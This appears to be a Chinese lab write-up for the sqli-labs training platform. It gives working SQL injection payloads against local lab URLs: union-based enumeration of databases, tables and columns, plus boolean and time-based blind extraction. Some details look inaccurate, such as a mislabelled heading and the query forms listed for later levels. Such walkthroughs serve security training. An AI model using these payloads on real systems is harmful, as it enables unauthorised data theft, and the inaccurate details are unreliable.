前言
本文涉及的平台是sqli_labs,地址为:https://github.com/Audi-1/sqli-labs
友情链接:详细WP及相关资料请访问刘师傅github博客: https://github.com/Kit4y/Sql-Injection
注入原理
开发者过度相信用户输入,直接或简单处理后将用户输入嵌入至代码语句,导致sql注入。
常用代码语句
回显注入
爆库
:1
select 1,database(); --+
爆表
1
select 1,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = databse_name/0x形式 --+
爆字段
1
select 1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME = table_name/0x形式 --+
盲注
由于我们看不到字符串的回显,只有对与错两种状态的确定,所以我们要逐位判断它们的ASCII.
常用函数有:
left() : left(a,b)从左侧截取 a 的前 b 位
ascii() : ascii(a)获取 a 的ascii值
substr() : substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度
mid() : mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
ord() : ord()函数同 ascii(),将字符转为 ascii 值
一般方法为:
报错盲注
爆长度http://127.0.0.1/Less-8/?id=1' and (length(database()))=8 --+
爆每位ASCII
http://127.0.0.1/Less-8/?id=1' and (ascii(substr(database(),1,1)))>100 --+
http://127.0.0.1/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100 --+
时间盲注http://127.0.0.1/Less-9/?id=1' and (if(ascii(substr(database(),1,1))>100,sleep(10),null)) --+
WP
Less-1
sql语句为 SELECT * FROM users WHERE id='$id'
Less-2
sql语句为 SELECT * FROM users WHERE id=($id)
Less-3
sql语句为 SELECT * FROM users WHERE id=('$id')
Less-4
sql语句为 SELECT * FROM users WHERE id=("$id")
Less-5
此题为盲注
sql语句为 SELECT * FROM users WHERE id='$id'
待更新
Less-6
sql语句为 SELECT * FROM users WHERE id=($id)
Less-7
sql语句为 SELECT * FROM users WHERE id=('$id')
Less-8
sql语句为 SELECT * FROM users WHERE id=("$id")